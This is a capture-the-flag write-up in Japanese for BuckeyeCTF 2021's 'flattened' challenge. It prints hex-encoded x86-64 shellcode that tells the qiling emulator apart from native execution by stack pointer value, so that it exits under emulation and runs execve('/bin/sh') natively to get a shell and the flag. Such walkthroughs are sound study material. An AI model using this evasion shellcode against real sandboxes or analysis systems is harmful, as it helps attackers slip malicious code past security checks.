[日本語] [English]

flattened

TCPサーバの接続情報と、サーバのファイル一式が与えられた。
chall.py を読むと、以下の処理をしていることが読み取れた。

  1. x86-64の機械語を16進数で入力させる。
  2. エミュレータ qiling を用い、入力された機械語を実行する。
    • 1 (write) および 0x3c (exit) 以外のシステムコールが実行されたら、終了する。
    • 実行された命令のうち、ジャンプや分岐以外の命令を記録する。
  3. 記録された命令をもとにELFを作成し、実行する。

そこで、NASMを用いて機械語を作成し、CyberChefで16進数に変換することにした。

To Hex - CyberChef

まず、以下のコードを用い、実行中のプログラムカウンタを出力してみることを試みた。

test1.asm

488d05000000005031ff4889e6ba04000000b8010000000f05b83c00000031ff0f05

しかし、UnicodeDecodeError というエラーが出てしまった。

そこで、簡単な実装でアドレスを文字で表現するため、16進数のそれぞれの桁をa~pのアルファベットで表現する以下のコードを実行した。

test2.asm

48b861616161616161616a0a5050488d15ebffffff88d0240f0044240f48c1ea0488d0240f0044240e48c1ea0488d0240f0044240d48c1ea0488d0240f0044240c48c1ea0488d0240f0044240b48c1ea0488d0240f0044240a48c1ea0488d0240f0044240948c1ea0488d0240f0044240848c1ea0488d0240f0044240748c1ea0488d0240f0044240648c1ea0488d0240f0044240548c1ea0488d0240f0044240448c1ea0488d0240f0044240348c1ea0488d0240f0044240248c1ea0488d0240f0044240148c1ea0488d0240f000424bf010000004889e6ba11000000b8010000000f05b83c00000031ff0f05

結果、qiling による実行とELFによる実行でともに aaaaaaaaabbppaaa (00000000011ff000) と出力され、判別はできなそうだった。
なお、出力のデコードは以下のRecipeで行える。

Substitute - CyberChef

次に、同様にスタックポインタの値を出力してみた。

test3.asm

48b861616161616161616a0a50504889e288d0240f0044240f48c1ea0488d0240f0044240e48c1ea0488d0240f0044240d48c1ea0488d0240f0044240c48c1ea0488d0240f0044240b48c1ea0488d0240f0044240a48c1ea0488d0240f0044240948c1ea0488d0240f0044240848c1ea0488d0240f0044240748c1ea0488d0240f0044240648c1ea0488d0240f0044240548c1ea0488d0240f0044240448c1ea0488d0240f0044240348c1ea0488d0240f0044240248c1ea0488d0240f0044240148c1ea0488d0240f000424bf010000004889e6ba11000000b8010000000f05b83c00000031ff0f05

すると、qiling による実行では aaaaaaaaabbpopoi (00000000011fefe8)、ELFによる実行では aaaahppoodlfimki (00007ffee3b58ca8) と出力され、差が見つかった。

これを利用し、小さいスタックポインタを用いた qiling による実行ではシステムコール 60 - 0 = 60 (exit) を実行し、
大きいスタックポインタを用いたELFによる実行ではシステムコール 60 - 1 = 59 (execve) を実行する、以下のコードを実行した。

payload.asm

48b82f62696e2f73680050b83c0000004889e731f631d24889e148c1e92e29c80f05

このプログラムを実行させると、シェルの操作が可能になった。
ls -al コマンドを実行すると、ファイル flag.txt があることがわかった。
cat flag.txt コマンドを実行すると、flagが得られた。

buckeye{execve_plu5_0n3_1s_exit}

writeup by MikeCAT

BuckeyeCTF 2021